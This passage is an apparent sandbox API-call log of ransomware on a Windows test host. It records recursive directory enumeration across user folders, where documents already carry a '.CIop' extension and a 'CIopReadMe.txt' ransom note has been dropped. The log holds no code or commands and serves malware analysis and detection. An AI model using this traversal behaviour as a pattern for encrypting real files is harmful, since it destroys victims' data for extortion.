lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0158.896] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.896] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0158.896] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0158.896] lstrlenW (lpString="Desktop") returned 7 [0158.896] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.897] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0158.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0158.897] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.897] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0158.897] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0158.897] lstrlenW (lpString="Desktop") returned 7 [0158.897] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.897] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.897] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0158.897] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0158.897] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.897] SetErrorMode (uMode=0x1) returned 0x1 [0158.897] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.897] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0158.897] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.897] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0158.897] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0158.897] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.897] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.897] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2="..") returned 1 [0158.897] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2=".") returned 1 [0158.897] lstrlenW (lpString=".CIop") returned 5 [0158.897] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.898] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.898] lstrlenW (lpString="desktop.ini") returned 11 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.898] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.898] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2="..") returned 1 [0158.898] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2=".") returned 1 [0158.898] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.899] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2="..") returned 1 [0158.899] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2=".") returned 1 [0158.899] lstrlenW (lpString=".CIop") returned 5 [0158.899] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.899] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.900] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.900] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.900] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0158.900] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.900] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0158.900] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.900] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0158.900] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0158.900] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.900] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.900] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0158.900] SetErrorMode (uMode=0x1) returned 0x1 [0158.900] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0158.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0158.901] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0158.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0158.901] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.901] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0158.901] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0158.901] lstrlenW (lpString=".CIop") returned 5 [0158.901] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.901] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.901] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.901] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0158.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0158.901] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.901] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0158.901] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0158.901] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.901] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.901] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.901] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.901] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0158.901] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0158.901] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0158.901] SetErrorMode (uMode=0x1) returned 0x1 [0158.901] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0158.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0158.901] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0158.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0158.901] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.901] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0158.901] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0158.901] lstrlenW (lpString=".CIop") returned 5 [0158.901] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.901] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.901] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.901] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0158.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0158.902] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.902] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0158.902] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0158.902] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.902] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.902] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.902] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.902] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0158.902] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0158.902] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0158.902] SetErrorMode (uMode=0x1) returned 0x1 [0158.902] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0158.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0158.902] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0158.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0158.902] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.902] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0158.902] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0158.902] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.902] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.902] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.902] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.902] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.902] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.902] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.902] 